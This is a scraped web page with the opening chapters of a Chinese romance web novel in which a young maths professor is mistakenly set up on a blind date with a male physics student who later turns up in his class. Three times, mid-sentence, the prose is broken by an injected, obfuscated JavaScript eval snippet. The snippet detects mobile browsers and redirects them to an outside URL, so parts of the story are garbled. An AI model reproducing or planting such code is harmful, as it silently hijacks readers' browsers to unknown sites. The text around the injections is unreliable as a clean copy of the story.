《禁欲教授竟然如此磨人》 1. 相亲 入秋后，京州市天高云阔。 昨夜下了点雨，今日空气里便渗了丝丝凉意，京州大学外的银杏被风雨吹落，铺就一路金黄。 陈西庭开车出了校门，沿路到达约定的烤肉店，距离约好的时间还差两分钟。 大学附近的店铺生意一向兴隆，店里一楼近乎满客。 穿着工作服的中年男人手里提着篦子，热情迎过来，“陈教授，你来了啊！” 陈西庭今年27岁，博士期间取得的成绩足够优异，前不久刚被特聘成京大的副教授，此时听到这个称谓还有些不习惯，但面上礼貌地颔首示意，“店长。” “那个……”店长欲言又止。 “怎么了？”陈西庭问。 “你不是说订包厢相亲用吗？”店长略微压低声音道：“但来的是个……男生。” “男生？” 陈西庭有些惊讶，这场相亲是他那位年过古稀的亲博导安排的，说是之前的学生的孩子，确实没说男女。 应该是搞错了。 陈西庭设想了下自己和男生相亲，互相了解的过程…… 刚起了头就被他强行从脑海中挥去，接受不了，甚至有点恶心。 当然他面上还是礼貌笑道：“先去看看吧，说不定是搞错了。” 店长应下，顺手把篦子交给服务员，引着陈西庭上到二楼，敲了两下门后推开。 这家烤肉店讲究情调，中式装修的包厢内，极具艺术感的灯具垂在桌面上空，投出明亮的黄色光线。 光影里坐了个人。 那人身形颀长，黑衣黑裤，脖子上挂着夸张的银色骷髅链子，靠在沙发椅里玩手机，长腿懒散地敞着，听见开门的动静，漫不经心地掀起眼皮看过来。 一双冷峭浓隽的眼眸又黑又亮，像冬夜中凛锐的寒星。 陈西庭准备迈进门的脚步一滞，问店长，“确定没走错么？” “没有。”店长摇了下头：“我确认过了，他也是来相亲的，报的包厢就是您订的这间。” 陈西庭了然，示意店长等一会儿再点菜，抬腿走进去，店长在身后将包厢门关上。 陈西庭停在桌边，礼节性地朝对方伸出右手，“您好，陈西庭。” 对方的视线先停在他的手上，嘴巴动了动，绿色的口香糖吹出来一个饱满的泡泡。 紧接着泡泡破开，发出“啪”的一声响，他收回去嚼了下，视线随之上移，停在陈西庭脸上，打量两秒，问：“你来相亲？” 他的声音很好听，和他这个人一样，介乎于少年和青年之间的清越，只是语气有点不耐烦。 “嗯。”陈西庭收回手，并不在意对方的无礼行为，淡定地看着面前的仍可称之为少年的人，“你是梁院长介绍来的？” 少年的相貌极为出众，像个舞台上唱跳的男爱豆，一头稍长的黑色锡纸烫，轮廓锋利，五官立体，左眉尾处剃了道断眉。 开扇形的双眼皮褶皱很深，点漆似的黑眸直勾勾盯着人的时候，有种下一秒就要被他“吃”掉的侵略性。 鼻梁很挺，嘴唇很薄，唇下一颗闪闪发亮的钻石唇钉。 潮得陈西庭觉得自己要是有风湿此时就该犯病了，这实在不像是一辈子泡在数学公式里的老教授能接触的人，倒像是他中学时教室后排不学无术的专科预备役。 这种情况，不是对方走错了，就是自己走错了，但对方坦然地“昂”了声。 还真就是那老头介绍的。 陈西庭拉开椅子落座，和他面面相觑，显然，他们都试图从对方身上看出来一点女性特征。 陈西庭：“……” 余序：“……” 一点也没看出来。 气氛有些尴尬，余序拿起菜单推到陈西庭面前，“来都来了，先点菜吧。” 陈西庭的目光第一时间被他的手吸引。 他的手长得也很好，宽阔修长，指骨清晰分明，食指上戴着银色骨头戒指，指甲修剪得整齐，涂满亮眼的黑色指甲油，和白皙的肤色对比鲜明得扎眼。 黑色指甲油…… 指甲油…… 油…… 陈西庭是个搞数学的，社交经验着实寥寥无几，生平第一次看见涂指甲油的男生，信念不可避免地动摇了下。 怀疑对方是女生，又觉得可能是个男同性恋。 唤来服务员点好菜后，包厢里再次剩下他们两个，陈西庭问：“你是男生吗？” 余序挑眉，“我像女生？” 陈西庭想问他是不是同性恋，又觉得不礼貌，改口道：“是不是有什么误会，我是直男。” 余序古怪地看他一眼，“我不喜欢男的，我恐同。” 陈西庭：“那为什么安排我们相亲？” 余序将口香糖吐到纸巾上包好丢进垃圾桶，靠回椅背上，“不知道，早知道是个男的我就不来了。” 听这个意思，他应该不是同性恋，陈西庭稍稍放下心，就当出来拼桌吃了顿饭。 这么想着，一整顿饭下来，两人都没再说什么话。 陈西庭先吃饱放下筷子，对面的人还没有停下的意思，不紧不慢地咀嚼着。 虽然这人看着不太讲礼貌，但用餐礼仪却很合格，大部分都是他在烤，烤好的东西先分给陈西庭，也会主动倒水，顺手帮服务员收拾餐盘。 陈西庭擦完嘴，靠到椅背上时，视线自然而然地落在他身上，发现这人坐姿懒怠，可脊背弛而不松，姿态间透着几分富贵门庭才能教养出来的从容。 和街上不着四六的小混混有着本质区别，只不过浑身上下同样写满“老子很酷，别惹老子”八个大字。 陈西庭盯着他的唇钉，突然有点好奇，他吃饭看起来和正常人没什么两样，唇钉不会有影响吗？ 搞学术的人都有一颗求知欲旺盛的心，陈西庭问道：“你的唇钉不会影响吃饭么？” 对面少年夹菜的手微微一顿，目光闪烁了下，别开眼道：“不影响。” 陈西庭又问：“打唇钉疼么？” 余序蹙起眉，“你话怎么这么多，不知道食不言寝不语么？” “道理是这样。”陈西庭的语气温润从容：“但我吃完了。” 余序：“……” 他没了继续吃的兴致，放下筷子，喝了口水，拿起手机低头点了两下，将手机屏幕立到陈西庭面前，“加一下，我跟我妈交个差。” 陈西庭从善如流地扫码，在申请一栏填上自己的名字，好友通过后，对方发来姓名：余序。 余序站起身，“你先结账，然后我A给你。” “好。”陈西庭跟着起身，站直身子时，视线微微上抬才和余序对视。 他身高一米八三，余序要比他高半个头。 陈西庭：“……” 现在小孩都吃什么长这么高的？ 结完账，陈西庭折去洗手间，五分钟后他走出店门时，余序正蹲在路边打电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082344|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 少年的语气十分不爽：“你们是有病还是真饿了，让我跟一个男的相亲？” 余序本来就很反感相亲的事，他才十九岁，根本不是着急婚姻大事的年纪，但他的感情大概率会借联姻换取价值，所以家里希望他多接触些圈里人，早点确定下来。 之前见的不是富商的明珠，就是高官的千金，他为了让女方厌恶，戴了银链子做了黑美甲，想着实在不行说自己是同性恋，没想到这回竟然给他搞出来一个男的！ 谁家大老爷们儿跟男的相亲啊！ 冷声挂掉电话，余序察觉到什么，偏过头去，看见站在台阶上的相亲对象。 黑色风衣衬得男人的身量更为修长，像株亭亭的树。 午后阳光明媚，跳跃在男人冷白的皮肤上，泛起一层细腻柔和的釉色。 五官像工笔精心描绘出来的古画，平心而论，他的眉眼长得极好，眼形狭长微挑，清隽俊美，只是眼神非常疏离淡漠，和用餐时的温润斯文判若两人，清贵如可望而不可以及的月光。 距离不远，余序裸眼5.0的视力看清他颧骨上那颗很小的红痣，差点以为是滴滑落下来的泪珠。 鬼使神差的，余序伸手，冲他比出一个中指。 黑色美甲在阳光下闪闪发亮。 陈西庭平静地收回视线，转身步下台阶，拉开车门上了驾驶位，启动车辆驶入车流。 这场不甚愉快的离谱相亲宣告结束。 十分钟后，陈西庭在学校正门处减缓车速，排队等着前面几辆入校的车辆通过道闸安检。 “咚咚。” 车窗忽然被人不轻不重地敲了两下，陈西庭转头，见分别不久的相亲对象单手插兜，懒散散地站在窗外。 陈西庭降下车窗，看着他挑了下眉，“又见面了。” 余序刚刚敲窗的手顺势放在窗沿上，问：“你也是京大的学生？” 陈西庭硕博连读都在京大，虽升为教授，但时间太短，潜意识里仍是学生身份，“嗯”了一声。 “捎我进去。”余序收回手，也不管陈西庭同不同意，从车头前绕到副驾门边，手掌搭在门把手上。 京大占地极广，从学校正门到学生的生活区足有三公里，找人捎一程在情理之中。 陈西庭打开车门保险，余序拉开门，毫不见外地抬起长腿坐上车，拽爷似的往椅背上一靠，像是勉为其难地让这辆保时捷卡宴的副驾空间装下他的大长腿。 陈西庭驾驶车辆缓缓驶入大门，问：“去哪儿？” 余序看也不看地扣好安全带，“图书馆。” 陈西庭偏头看了他一眼。 其实后天学校才正式开学，提前回校的学生除了有校委或项目安排的，就是小情侣早些见面或者准备在市里玩几天。 这大非主流怎么看都是后者，竟然会去图书馆？ 不过陈西庭今日份的社交心情已经消耗殆尽，没有多问，日行一善地将人送到图书馆门口。 京大图书馆建筑面积不亚于市图书馆，由国外知名建筑师设计，门口一排罗马柱气派十足。 车身停稳后，陈西庭再次打开车门保险。 “谢了。”余序说着，抬手去推车门，忽然不知道看见什么，他动作一顿。 陈西庭顺着他目光的方向看去，只见一男一女挽着胳膊从图书馆内走出来。 女的漂亮，男的英俊。 而余序盯着他们，眉心蹙起一抹烦躁。 2. 竞赛 陈西庭的黑色保时捷停在图书馆门口很是显眼，那对男女步下图书馆前的台阶时，同时往车这边望了眼。 女生的视线在这个方向上停留住好几秒。 陈西庭看出她在看副驾上的余序，也转头看向副驾上的少年。 余序的手保持着刚刚推门的动作，用模具精准雕刻出来似的完美侧脸绷紧，仿佛写满了“烦死了”三个字。 虽然陈西庭的学生时代活在人群之外，但也没有特别不合群，寻常的人际往来还是有的。 为数不多的八卦经验经过远超常人的智商分析后，陈西庭得出结论：这两人应该有点什么纠葛。 陈教授平常是不会在这种无聊的事情上浪费精力的，但今天刚遭遇和男生相亲这种离谱事件，又被对方“无礼”地搭车，心里一丝幽微的不爽作祟，故作随意地问： “脸色怎么这么差，她把你给绿了？” 余序瞬间像被踩中尾巴的猫，扭过头瞪他，“不是！” 陈西庭扬了扬眉，没说话，但从容的神情好像在说：是么？ 余序磨了磨牙，冷声威胁，“别他妈多管闲事。” 说完他推门下车，半途顿了下，回头凶巴巴地补了一句，“不然我让你吃不了兜着走！” 反手关上门后，挺拔的背影散发着“莫挨老子”的气息，大步流星地进了图书馆。 陈西庭的嘴角微微翘起一点弧度，重新启动车辆，没回自己办公室，而是在梁院长的办公楼下停好车。 古朴端正的中式办公室里没有人，陈西庭坐到沙发上，叠起腿向后靠住，拿出手机给梁老头发消息：【人呢？】 老头很快回复：【开会】 【不想开了】 【给我打个电话过来】 师徒俩没少干这种事，电话一接通，这边陈西庭一言不发，那边的老头匆忙又郑重地道：“好好好，我马上过去。” 十分钟后办公室门被拉开，精神矍铄的梁院长一手保温杯一手文件夹走进来，直接问：“你相亲相的怎么样了？” 陈西庭脑中浮现余序懒散酷拽的模样，有一下没一下地转着手机，“来的是个男孩。” “对啊。”老头一脸理所当然，“你不是同性恋么？” 陈西庭：“？” 他对这个回答感到惊讶和不解，“我什么时候说我是同性恋了？” “我偷偷听叶枳和满萤她们讨论的啊。”梁老头有理有据，“叶枳她跟你告白，你说你喜欢男的。” 陈西庭：“……” 徐叶枳从研究生期间就花式追求他，前不久他的入职庆宴散场后，她借着酒意扑进他的怀里，醉眼朦胧地问： “学长你为什么一直拒绝我，我明明这么漂亮……你是不是喜欢男人，所以才对我不感兴趣呀？” 陈西庭无意和一个醉鬼纠缠，后退半步将她从自己身上“撕”下来，敷衍道：“那你就当我喜欢男人吧。” 难道她把这句话当真了？还给传出去了？ 陈西庭无语得有点想笑，语调戏谑，“你道听途说来的，就给我安排男人相亲？” 梁老头瞪眼，“你自己马上奔三了，一个女朋友没谈过，这也不正常吧？我在这个年纪孩子都能打酱油了。” 这个学生他从本科带到博士，27岁，恋爱经历为0，学校里暗恋他追求他的女孩不少，但他从未和谁走得近些，连花边新闻都没有。 这种情况下，别人说他是同性恋，师长自然认为很有说服力，刚好之前的学生发朋友圈说想给儿子安排个男生相亲。 照片上的那小孩长得又高又帅，和陈西庭极为适配，见一见又不会少块肉。 “我不是同性恋，只是还没遇见喜欢的女孩。”陈西庭淡然解释，“还有，把工作稳定下来更重要。” 他从幼儿园开始就是“别人家的孩子”，小学和初中跳级三次，高考保送却因不喜欢录取院校，转头自己参加高考，以省状元的身份进入京大。 出挑的相貌，远超常人的智商，优异得毫无瑕疵的履历，让他从小就备受女生青睐。 普通人根本不知道，有些女生主动起来会有多主动，小学就有女生们为谁和他做同桌大打出手。 大学时，多得是借着学习和活动的名义加上他的好友，晚上便发来带有性暗示照片的女生。 甚至他的竞赛照片被人发到网络上，都会有富婆找来要包养他。 基于这副皮囊吸引来的女性于他而言都像洪水猛兽。 挺没意思的。 他想找个能跟他讨论岩泽理论与自守形式、里奇流与球定理、怪球面与换球术的伴侣，而不是只有床上床下、男男女女的那点事儿。 “哦对，说到工作。”梁老头道：“咱们学院今年的数竞大赛你来做指导老师带队。” 数竞大赛面向全国本科生，虽然省级名次比较水，但进入国赛后的名次含金量极高，选手都是全国顶尖人才新秀，竞争十分激烈，并关乎学校的脸面。 陈西庭曾拿到国一的顶尖名次，熟悉该比赛的流程，讲师期间也带过一次，做指导老师不成问题。 可他尚未带过本届学生，要从群英荟萃的数学系中精准选出冠军苗子培训稍微有点难度。 看出他的担忧，梁老头道：“直接从大二的学生中挑几个数竞保送的和省前几的学生就行了，这种苗子基本不会差，带几天就能看出他们的水平了。” 陈西庭点头，“我试试。” 回到自己的办公室，他调出本院大二学生的入学成绩。 京大数理学院的学生不少都是保送和强基计划，他依次看下来，忽然看见一个熟悉的名字。 学籍照片上的少年穿着蓝白色的校服，短发清爽利落，清锐浓隽的黑眸直视镜头，脸上没什么表情，看起来又傲又拽。 但要比今天见到的他青涩一点。 左边是他的个人信息。 姓名：余序。 专业：物理学。 录取方式：保送。 陈西庭脑中再度浮现少年挺拔的身影，他以为他是体育特招生进来的，没想到是正儿八经的文化生，还是保送。 啧。 一点看不出来。 …… 被陈教授当成不良少年的余序此时正在图书馆里认真学习，手边摞了厚厚的几本专业书，都是他大三时才会用到的教材。 舍友何谦堂坐他对面，抬眼就能看见他扎眼的黑色美甲，涂在他修长的指尖上漂亮归漂亮，但着实和直男审美大相径庭。 八卦是人之常情，终于在余序换书的空当，何谦堂忍不住发消息问道：【你不是相亲去了么？相的咋样呀！】 余序大一就开始相亲，说是家里安排见的，给他烦得不行，一开始还是正常去，但女方每每心动不已，对他发出各种邀约，又给他烦个够呛。 渐渐便发展到这样给自己打扮成非主流，连美甲都做上了，想让女方知难而退，导致舍友们都很好奇女方的反应。 余序拿起手机看了眼，想到刚刚和陈西庭相亲的场景，他才不会把跟男人相亲这种离谱事情说出来，薄唇微抿，敷衍回复：【就那样】 何谦堂识趣地不再多问，将这学期的新课表转发给余序： 【课表出来了】 【高数重修课在周三周四的晚七到晚九】 【你别忘了去】 余序：【OK】 完成今日的学习任务后已是下午四点，余序在食堂里吃了顿十块钱的盒饭，出门拐到美甲店去卸甲。 老板娘对他印象深刻，拿出卸甲工具，道：“昨天刚做的，怎么今天就要卸？不喜欢吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082345|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余序手腕搭在腕枕上任她操作，心说哪个大男人能喜欢黑色美甲，嘴上胡扯道：“我妈让卸的，她嫌不正经。” 其实是因为他一会儿有个家教工作，让学生和家长看见影响不好。 他的家教工作是给高中生提前补习高二物化生内容，他做了一整个暑假，这次是去收个尾，开学后他就要忙着学业，没空兼职了。 大二开学后，课表内容明显增多，余序跟大三的学长要了份他们的课表，向学院提交申请后，他在自己这边没有意义的水课时，改去大三的班级蹭专业课上。 昨晚大三有一节晚自习加课，回宿舍后他又写自己的课程实验报告，凌晨三点才睡，第二天早八哈欠连天地去上《数学物理方法》。 过了上学的“早高峰”，校园路上没几个人，何谦堂走得飞快，不时回头催促，“阿序你快点啊，要迟到了！” 余序单肩挂着包，步调不紧不慢走在道路正中，嗓音懒倦，“你就算跑着去，现在也迟到了。” 何谦堂被噎住，索性也摆烂和余序一起走，仍然有些担忧，“这门课不会还是之前教高数的老头上吧，那老头扣平时分太狠了，不能咱俩这回迟到，期末直接挂科了吧？” “不知道。”余序不甚在意地打了个哈欠，“只要我高数重修能考满分，其他爱怎么扣……” “滴！” 一声短促的鸣笛声打断余序的话，他回过头，见身后驶过来一辆黑色保时捷。 余序刚想让到一边，却发现这车有点眼熟，扫了眼车牌，果然是陈西庭的车。 他想也不想，直接抬手招了招，在车停下来后走到主驾边。 不等他敲车窗，车窗降下，陈西庭淡然道：“又要搭车？” “你真聪明。”余序随口一夸，带着何谦堂上车。 系好副驾的安全带，余序道：“你也去A教么？” 这条路通往A教，并不是什么主干路，所以这个时间上出现的车辆大概率也是前往A教。 陈西庭：“嗯。” 后座的何谦堂有点兴奋，“真好啊哥们，迟到还能开车去！你去上什么课啊？” 陈西庭单手握着方向盘在路口转弯，“数学物理方法。” “这么巧啊！我们也是。”何谦堂不太意外，能被余序搭车的大概率是他的朋友，同专业的也很正常。 倒是余序本人看了陈西庭一眼，想问陈西庭哪个专业的，既然有机会一起上课，以前怎么没见过？ 但陈西庭看了眼中控屏上的时间，比他先开口，平静道：“迟到了怎么办？” 余序跟着看了眼，已经七点五十五了，这点时间就算他们插上翅膀，也不可能在八点前进入教室。 余序摆烂摆得彻底，收回目光往椅背上一靠，“凉拌。” “哎呀。”何谦堂及时安慰陈西庭，“新学期新课程，应该也是新老师，只要不是上学期教高数的那个老头，第一节课都会给点脸面不扣分的，哥们儿别害怕。” 陈西庭神色自若，没有一点害怕地应声，“好。” 八点零二，三人走进教室大门。 能容纳两百人的大教里坐满了学生，余序走在前面，一进门女生们的目光便齐刷刷地被他聚焦，甚至有人拿出手机拍照和录像，这其中以其他专业“慕名”来蹭课的学生居多。 余序对此熟视无睹，俊脸上的神情因困倦而显得冷恹，顶着一身生人勿近的气场走到第二排的另一个舍友身边落座。 这个时候来基本没什么好位置了，他想着搭了陈西庭的车，让这排的人往里面窜一个，空个位置给陈西庭。 他回头想叫人，却见身后只站着何谦堂，嘈杂的教室里也不知何时安静下来。 余序下意识看向讲台。 讲台上站着一道熟悉的修长身影。 3. 重修 讲台上，俊美过人的青年正将西服外套搭在椅背上，上半身的墨绿色衬衫质地精贵，贴合出他平直的肩线，下方被黑色皮带齐整地收于西裤，束住的一截腰身薄且细，整个人看起来十分斯文矜贵。 放好衣服后他直起身子，看着满座学生，银丝眼镜后的狭长眉眼轻弯，微微一笑，嗓音清越，“同学们好，我是负责教你们数学物理方法的老师，陈西庭。” 余序反应过来，浓隽的眼眸轻眯，不爽地坐了下来。 他不是学生吗？怎么成教授了？这么年轻的教授？他研究生毕业了吗？ 陈西庭已经开始讲课，余序还没回过神来。 以为相亲对象和自己一样是大学生，结果人家是堂堂教授？他是教授他装什么学生啊？ 余小姐从哪里找的相亲对象啊？让他见面之前不做一下背调吗？ 竟然让他跟自己的同校老师相亲？师生恋违背公序良俗不知道么？ 知道余小姐离谱，但请别这么离谱。 他不仅朝教授竖了中指，威胁会让他吃不了兜着走，还在迟到的时候嚣张地搭了他的车…… 余序感觉自己的脊梁骨都不直了，这还不如是之前那个老头呢！ 他不想以小人之心度君子之腹，可这年轻教授看着实在像个睚眦必报的人，现在只能希望教授日理万机，不会在期末考试给他扣光平时分。 此时余序对这位乌龙相亲对象毫无好感，但不得不承认，他的课讲得还不错。 高数相关的课程多少有些催眠，陈西庭却讲的清晰易懂，条分缕析，配上他泉水般清冽的声音，知识轻松流入脑子里。 四十五分钟的上半节课很快过去，铃声响后，陈西庭宣布休息一下，教室里瞬间起了嘈杂。 余序前桌的女生转过头，将一盒牛奶放到他的桌面上，语气温柔：“又没吃早饭吧，先垫垫肚子。” 女生正是那天图书馆门口的女生，物理系的系花唐雀音。 余序懒倦地靠着椅背，眼皮漠然半垂，仿佛没听见似的，看也没看她。 唐雀音略显尴尬，何谦堂赶忙圆场说：“余序已经吃过了，我来喝我来喝。” 唐雀音微微一笑，转了回去。 这一幕发生后，后排的学生当中传来窃窃低语声： “听说了没，余序前几天跟唐雀音表白，但被拒绝了。” “啊？为什么呀？余序多帅啊！” “帅也不顶用啊，你说还能因为什么，嫌他穷呗。” 余序是公认的物理系草，从新生军训开始就是风云人物。 但他家庭条件好像不太好。 当然这个说法没什么依据，是好事者根据他经常去兼职得出的结论。 整个大一学年余序不学习的时间里，不是在当家教就是在咖啡馆打零工，久而久之就将他家境贫寒传成了真的。 还有人将系草的清贫出身编得有鼻子有眼，说他奶奶痴呆，母亲瘫痪，父亲肝癌晚期。 说他不仅是全家的希望，也是全村的希望。 余序忙得很，直到班上一个女同学表示愿意资助他，让他专心完成学业，他才得知这些传言。 他懒得去顾及女同学的醉翁之意，对外面在传些什么也毫无兴趣，此时听着后面人隐含贬低的窃窃私语，他慢吞吞地打了个哈欠。 何谦堂上课时没敢吱声，这会儿才小声道：“阿序阿序，你竟然敢搭他的车，你知道不知道他是老师啊？” 余序嗤了声，“不知道。” 何谦堂低头点进手机浏览器搜索，“我去，这老师有点东西啊！” 他把手机上的百科页面递到余序面前，“高一参加国际数学奥赛就满分获奖了啊，这个比赛我也参加过，连个排名都没有。” 余序随手讲课本合上，瞥去一眼，屏幕上密密麻麻都是各种成就。 何谦堂语气崇拜，“怪不得这么年轻就当教授了，人家跳过好几级啊，我要跳级我妈说我大脑进水小脑能养鱼，不让我跳。” 余序兴致缺缺地收回视线，“上课。” 下半节课也很快结束，余序将本笔丢给何谦堂装着，“走了，回去补觉。” 两人起身时，前桌的唐雀音也抱着书站起来，抬头看向余序，“余序，你今晚是不是要去上重修课呀？” 余序跟没听见似的，看也没看她，头也不回地走了。 两人出了教学楼，何谦堂实在耐不住好奇心，试探着问：“你真像他们说的那样，跟系花表白被拒了啊？” 余序和唐雀音一个系草一个系花，本就备受关注，两人上学期又在同一家咖啡馆兼职，自然来往稍多一些。 虽然他们清清白白，勉强才能算个朋友关系，但架不住好事者多。 有人花式磕起cp，自然就有人唱衰两个穷人不会有什么好结果，余序从来没当回事儿，只是这学期开始，他对唐雀音的态度变了。 余序的性格和他看起来给人的感觉差不多，又拽又酷，待人接物上也一视同仁： ——谁也不爱搭理。 比如此刻，余序嗓音冷淡，敷衍道：“差不多吧。” 何谦堂暗暗咋舌，看余序对那些相亲对象的态度，他可一点不像是会想谈恋爱的人啊，他明明满脑子都是怎么多修学分和绩点。 一心学习的小余同学把时间安排得满满当当，中午回去补了个觉，下午去上大三的课，晚上又去上高数重修课。 一般重修课的人都不多，而高数例外，教室用的是大教室。 余序去的稍晚了些，教室里已坐满大半。 他单肩挂着包，刚想走到空位上去，却察觉到什么，脚步在门口稍顿，扭头看向讲台方向。 猝不及防地对上一双细长漂亮的眼眸。 陈西庭坐在讲台边的教师休息椅上，坐姿从容放松，双腿交叠，黑色的西裤，露出一截细瘦的脚踝，凸起的骨骼线条精致如雕刻，冷白如雪塑。 隔着不远不近的距离，余序莫名想上手攥住，喉结无意识地滚了下，下一秒才反应过来，怎么又是他啊！ 少年锋利的眉宇压下，十分不爽地收回视线，抬脚走到最后一排坐下。 铃声跟着响起，陈西庭开始上课。 余序戴上一只耳机，拿出专业书学习，偶尔分点神听一嘴重修课的内容。 他重修不是因为挂科，相反他考了九十分，重修是因为他每周一早八的高数课都翘课，那位老头教授给他平时分扣了个精光，导致加权后的绩点远远低于他的预期值。 四十五分钟的上半节课很快过去，课间休息时，旁边那桌两个男生忽然激动起来，压着声音道： “快看快看！有美女！” “哇靠，好靓的姐姐，是来找人的么？” 余序充耳不闻，一目十行地将知识点飞速录入脑子里，直到桌边响起一道温柔的声音，“这里没有人叭，余序？” 熟悉的声音让余序不悦地抬头，眉心微皱，“你怎么来了？” 唐雀音站在桌边，浅笑着看着他，“我来陪你上课呀。” 她将一杯咖啡放到余序桌上，放下他旁边的椅子坐下，笑着说：“店里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082346|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生椰拿铁，你之前很喜欢的。” 余序的指尖不耐地在书面上敲了敲，最终没说什么，收回视线，看也没看那杯咖啡。 旁边那两个男生又开始低声感叹： “长得帅就是好啊，美女倒贴他还不乐意。” “他就是物理系的余序吧？真人感觉没我帅啊……” 最终上课铃声打断他们不太礼貌的发言，教室重新安静下来，陈西庭接着上课。 余序专注力很好，唐雀音的不请自来丝毫没有影响到他，这节课在不知不觉中进入尾声。 教授宣布下课后，学生陆续离开，剩下零星的准备在这间教室自习的学生。 余序看完最后一个知识点才合上书，和本笔一起装入包中，起身随手挂到肩上。 经过门口时，陈西庭好整以暇地看着他和后面的唐雀音。 余序仿佛没注意到他的视线，根本没认出来这位教授是自己的相亲对象似的，步调懒淡，目不斜视地走过。 倒是唐雀音多看了陈西庭一眼，礼貌地冲他点头微笑，跟在余序身后出了教室。 余序要出校去兼职，走侧门会更近一些。 侧门外正对学校的人工湖，五彩的装饰灯光为湖景添了几分梦幻唯美，湖岸每隔五米放置长凳，是情侣幽会的绝佳所在。 因此该湖又被称为情人湖，这个时间点除了正在亲密耳语的小情侣们，基本没什么外人，夜风里一片安静，只有树叶沙沙的响声。 沿着林间的青石小路走出去不远，一直跟在后面的唐雀音突然拉住余序的手腕，快一步挡在他身前，“余序，我们谈谈好么？” 余序停住脚。 头顶的路灯投下发暗的白光，在少年深邃的眉骨下打出一片阴影，面无表情时看起来十分不好惹。 唐雀音忽然就很心虚，松开手，深吸了口气，放软语气道：“我不是故意利用你的，我的家庭情况你知道的，我真的很缺钱，我也没别的好办法了……” 余序看着前方长凳上的情侣，不耐道：“跟我没关系。” 说完，他欲绕过她继续走，又被她伸手拦住。 唐雀音抬头望着他，“你别这样好不好，我对你的心意都是真的，只是，两个穷人在一起是不会有结果的……” 说着，唐雀音的美眸中溢出泪花，“我们、我们不能继续做朋友了么？” “不能。”余序为数不多的耐心耗尽，“说完了么？” 唐雀音抹了下眼泪，“我朋友说看见你和陈西庭教授在外面吃饭，那天你坐的，就是他的副驾吧？” 余序本想直接走，听见这话又没动，眼眸轻眯，“你想说什么？” “你知不知道。”唐雀音稍稍压住声音说：“陈老师好像是同性恋？” 这个说辞让余序微微一怔。 陈西庭是同性恋？难道陈西庭和他相亲不是意外？ 陈西庭他……应该没看上自己吧？ 这个想法冒出来，下一秒便被余序驱散，相亲已经结束了，就算陈西庭真的看上他了，也不会公报私仇给他挂科吧？ 既然如此，那陈西庭是不是同性恋跟他有什么关系？ “他爱是不是。”余序不屑。 “我是怕……”唐雀音抿了下唇，“我是怕你和他走得近，也会被传成同性恋。” “前几天隔壁学校的学术妲己闹得那么大，你听说过吧？”唐雀音说：“你要是实在困难，可以和我说，我会想办法帮你的，你不要出卖自己，和男人在一起是会被人瞧不起的。” 余序：？？？ 4. 搭车 悬铃木高大茂盛，石板路曲折蜿蜒，沁凉的夜风里泛着潮意。 陈西庭要去湖对岸的停车场，沿路前行，行至岔路口时，将一句“你不要出卖自己，和男人在一起是会被人瞧不起的”听得清清楚楚。 陈西庭脚步停住，看向前方的路灯下。 他没想到会在这里又看见余序。 少年的锡纸烫不知道什么时候烫了回来，那截断眉在蓬松柔顺的额发下看不太清。 今日只穿着简单的黑T，乱七八糟的饰品都摘了，夜风吹动他的衣梢，干净清爽的少年感扑面而来，和相亲那日简直判若两人，眉目间隐隐的不耐又与当时一般无二。 下一刻，余序察觉到什么，转头看过来。 陈西庭对上少年冷峭的黑眸。 他无意听墙角，但现在的情况莫名像极了他听到不该听的，还被主人抓包。 当然这也没什么大不了的，陈西庭面无表情，只以师长该有的礼节略微点头示意，收回视线，沿着岔路继续走。 这个插曲很快被他抛之脑后，驱车绕远去行政楼取份文件，很不巧的，下楼时碰上徐叶枳和赵满萤。 “西庭学长！” 两人挽着胳膊快步追上他，赵满萤笑眯眯地道：“你下班了吧，和我们一起去看电影呀？” 陈西庭想到两人在背后乱传自己是同性恋的事，心里不免升起一丝反感，但面上礼貌地微笑婉拒：“不了，你们去就好。” 徐叶枳笑着继续邀请：“时间还早呢，你直接回家多无聊呀，最近新上了一部皮克斯动画电影，口碑不错的，和我们一起去呗？” 陈西庭面不改色地胡说，“我今天还有别的事情，下次有机会再看。” 事实上，他不仅对动画电影没兴趣，对所有电影都没兴趣，长这么大唯一进影院是小学时组织的课外活动，放的电影是部经典抗战喜剧。 同学们笑得前仰后合，他只觉得一群蠢货蹦跶来蹦哒去有什么好看的，有这时间不如看两集动物世界。 两个女生识趣地不再邀请，刚好此时走到门口，陈西庭拿出车钥匙打开车锁。 赵满萤眼前一亮，“学长你开车了呀，这天看着快下雨了，你方便捎我们一下嘛，我们去金地中心。” 刚刚已经拒绝过，再拒便有些不近人情了，陈西庭道：“可以。” “好耶！谢谢学长！” 